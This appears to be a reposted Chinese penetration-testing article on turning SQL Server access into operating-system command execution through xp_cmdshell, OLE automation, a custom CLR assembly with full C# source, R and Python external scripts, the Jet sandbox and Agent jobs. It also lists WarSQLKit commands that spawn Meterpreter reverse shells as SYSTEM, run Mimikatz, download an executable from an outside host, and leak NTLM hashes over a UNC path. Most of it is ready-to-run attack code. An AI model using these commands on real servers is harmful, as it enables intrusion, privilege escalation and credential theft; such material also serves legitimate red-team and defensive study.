Mssql数据库命令执行总结
2020-04-13 09:36:41 Author: xz.aliyun.com(查看原文) 阅读量:771 收藏

0x00 简介

本文的攻击场景如下：

演示环境的利用场景：

本文将要介绍以下内容：

  • xp_cmdshell利用
  • COM组件利用
  • CLR利用
  • SQL Server 2016 R利用
  • SQL Server 2017 Python利用
  • 沙盒利用(openrowset)
  • Agent Job利用

0x01 xp_cmdshell利用

前提条件：

  • Mssql数据库服务未降权
  • 已获取到数据库密码

xp_cmdshell是Sql Server中的一个组件，我们可以用它来执行系统命令。

判断xp_cmdshell状态

我们可以在master.dbo.sysobjects中查看xp_cmdshell状态

select * from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

xtype为对象类型，xtype='x'这里表示xp_cmdshell的对象类型为扩展存储过程。

只用判断存在，利用count(*)即可。

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

存在即返回1

启用xp_cmdshell

我们可以利用EXEC启用xp_cmdshell

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

利用xp_cmdshell执行命令

通过xp_cmdshell执行系统命令指令如下

exec master..xp_cmdshell 'whoami'

恢复被删除的xp_cmdshell

我们可以利用xplog70.dll恢复被删除的xp_cmdshell

Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'

0x02 COM组件利用

前提条件：

  • Mssql数据库服务未降权
  • 已获取到数据库密码

我们可以借助Sql Server中的COM组件SP_OACREATE来执行系统命令。

判断SP_OACREATE状态

我们可以在master.dbo.sysobjects中查看SP_OACREATE状态

select * from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'

只用判断存在，利用count(*)即可。

select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'

存在即返回1

启用SP_OACREATE

利用EXEC启用SP_OACREATE

EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'show advanced options', 0;

利用SP_OACREATE执行命令

通过SP_OACREATE执行系统命令指令如下

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt'

此利用方法无回显

0x03 CLR利用

什么是CLR

CLR微软官方把他称为公共语言运行时，从 SQL Server 2005 (9.x) 开始，SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。 这意味着现在可以使用任何 .NET Framework 语言（包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#）来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。

更多概念详见下方官方链接：

https://docs.microsoft.com/zh-cn/sql/relational-databases/clr-integration/common-language-runtime-clr-integration-programming-concepts?view=sql-server-ver15

编写CLR

利用VS创建MSSQL数据库项目

修改目标平台和勾选创建脚本

修改目标框架和权限级别

创建SQL CLR C# 存储过程

写入代码

using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using System.Diagnostics;
using System.Text;
using Microsoft.SqlServer.Server;

public partial class StoredProcedures
{
    [Microsoft.SqlServer.Server.SqlProcedure]
    public static void ExecCommand (string cmd)
    {
        // 在此处放置代码
        SqlContext.Pipe.Send("Command is running, please wait.");
        SqlContext.Pipe.Send(RunCommand("cmd.exe", " /c " + cmd));
    }
    public static string RunCommand(string filename,string arguments)
    {
        var process = new Process();

        process.StartInfo.FileName = filename;
        if (!string.IsNullOrEmpty(arguments))
        {
            process.StartInfo.Arguments = arguments;
        }

        process.StartInfo.CreateNoWindow = true;
        process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
        process.StartInfo.UseShellExecute = false;

        process.StartInfo.RedirectStandardError = true;
        process.StartInfo.RedirectStandardOutput = true;
        var stdOutput = new StringBuilder();
        process.OutputDataReceived += (sender, args) => stdOutput.AppendLine(args.Data);
        string stdError = null;
        try
        {
            process.Start();
            process.BeginOutputReadLine();
            stdError = process.StandardError.ReadToEnd();
            process.WaitForExit();
        }
        catch (Exception e)
        {
            SqlContext.Pipe.Send(e.Message);
        }

        if (process.ExitCode == 0)
        {
            SqlContext.Pipe.Send(stdOutput.ToString());
        }
        else
        {
            var message = new StringBuilder();

            if (!string.IsNullOrEmpty(stdError))
            {
                message.AppendLine(stdError);
            }

            if (stdOutput.Length != 0)
            {
                message.AppendLine("Std output:");
                message.AppendLine(stdOutput.ToString());
            }
            SqlContext.Pipe.Send(filename + arguments + " finished with exit code = " + process.ExitCode + ": " + message);
        }
        return stdOutput.ToString();
    }
}

启用MSSQL CLR功能

MSSQL CLR功能默认关闭，利用以下语句启用。

sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO

为了导入了不安全的程序集，我们还需要执行以下语句将数据库标记为安全。

ALTER DATABASE master SET TRUSTWORTHY ON;

利用SQL语句导入程序集

CREATE ASSEMBLY [Database1]
    AUTHORIZATION [dbo]
    FROM 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    WITH PERMISSION_SET = UNSAFE;
GO

创建存储过程

CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
go

执行命令

exec dbo.ExecCommand "whoami";

更强大的项目

https://github.com/EPICROUTERSS/MSSQL-Fileless-Rootkit-WarSQLKit

0x04 R和Python的利用

前提条件：

  • Machine Learning Services必须要在Python安装过程中选择
  • 必须启用外部脚本
    • EXEC sp_configure 'external scripts enabled', 1
    • RECONFIGURE WITH OVERRIDE
    • 重新启动数据库服务器
  • 用户拥有执行任何外部脚本权限

MSSQL 2017加入了Microsoft机器学习服务，该服务允许通过MSSQL中sp_execute_external_script执行Python和R脚本

R脚本利用

利用R执行命令：

sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe
/c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO

利用R抓取Net-NTLM哈希：

@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'

Python脚本利用

Python 版本：

exec sp_execute_external_script 
@language =N'Python',
@script=N'import sys
OutputDataSet = pandas.DataFrame([sys.version])'
WITH RESULT SETS ((python_version nvarchar(max)))

执行命令：

exec sp_execute_external_script 
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

0x05 WarSQLKit

WarSQLKit是一个针对Mssql CLR进行利用的渗透工具，它存在以下两个版本。

  • WarSQLKit

    WarSQLKit是完全版本，内置多种功能。

  • WarSQLKitMinimal

    WarSQLKitMinimal是精简版，只能执行命令。

加载WarSQLKit

根据本文0X03 CLR利用的操作将WarSQLKit导入

创建存储过程

CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec
GO

WarSQLKit CmdExec

WarSQLKit CmdExec实现了以下功能

1、执行任意Windows命令

EXEC sp_cmdExec 'whoami';

2、以NT AUTHORITY\SYSTEM权限执行Windows命令

EXEC sp_cmdExec 'whoami /RunSystemPriv';

3、以NT AUTHORITY\SYSTEM权限运行PowerShell命令

EXEC sp_cmdExec 'powershell Get-ChildItem /RunSystemPS';

4、生成一个以NT AUTHORITY\SYSTEM权限运行的X86 Meterpreter反向连接shell

EXEC sp_cmdExec 'sp_meterpreter_reverse_tcp LHOST LPORT GetSystem';

5、生成一个以NT AUTHORITY\SYSTEM权限运行的X64 Meterpreter反向连接shell

EXEC sp_cmdExec 'sp_x64_meterpreter_reverse_tcp LHOST LPORT GetSystem';

6、生成一个以NT AUTHORITY\SYSTEM权限运行的X64 Meterpreter RC4反向连接shell

EXEC sp_cmdExec 'sp_meterpreter_reverse_rc4 LHOST LPORT GetSystem'

RC4PASSWORD=warsql

7、生成一个以NT AUTHORITY\SYSTEM权限运行的X86 meterpreter_bind_tcp shell

EXEC sp_cmdExec 'sp_meterpreter_bind_tcp LPORT GetSystem';

8、运行Mimikatz功能抓取密码

EXEC sp_cmdExec 'sp_Mimikatz';

获取Mimikatz日志
select * from WarSQLKitTemp

9、文件下载

EXEC sp_cmdExec 'sp_downloadFile http://test.com/file.exe C:\ProgramData\file.exe 300';

10、获取MSSQL Hash

EXEC sp_cmdExec 'sp_getSqlHash';

11、获取Windows Product

EXEC sp_cmdExec 'sp_getProduct';

12、获取可用的数据库

EXEC sp_cmdExec 'sp_getDatabases';

0x06 备忘录

利用sp_addextendedproc恢复组件

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'

利用沙盒执行命令

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("whoami")')

利用Agent Job执行命令

SQL Server代理是一项Microsoft Windows服务，它执行计划的管理任务，这些任务在SQL Server 2019（15.x）中称为作业。

创建作业

USE msdb; 
EXEC dbo.sp_add_job @job_name = N'test_powershell_job1'; 
EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'c:\windows\system32\cmd.exe /c whoami >c:\\1.txt', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; 
EXEC dbo.sp_start_job N'test_powershell_job1';

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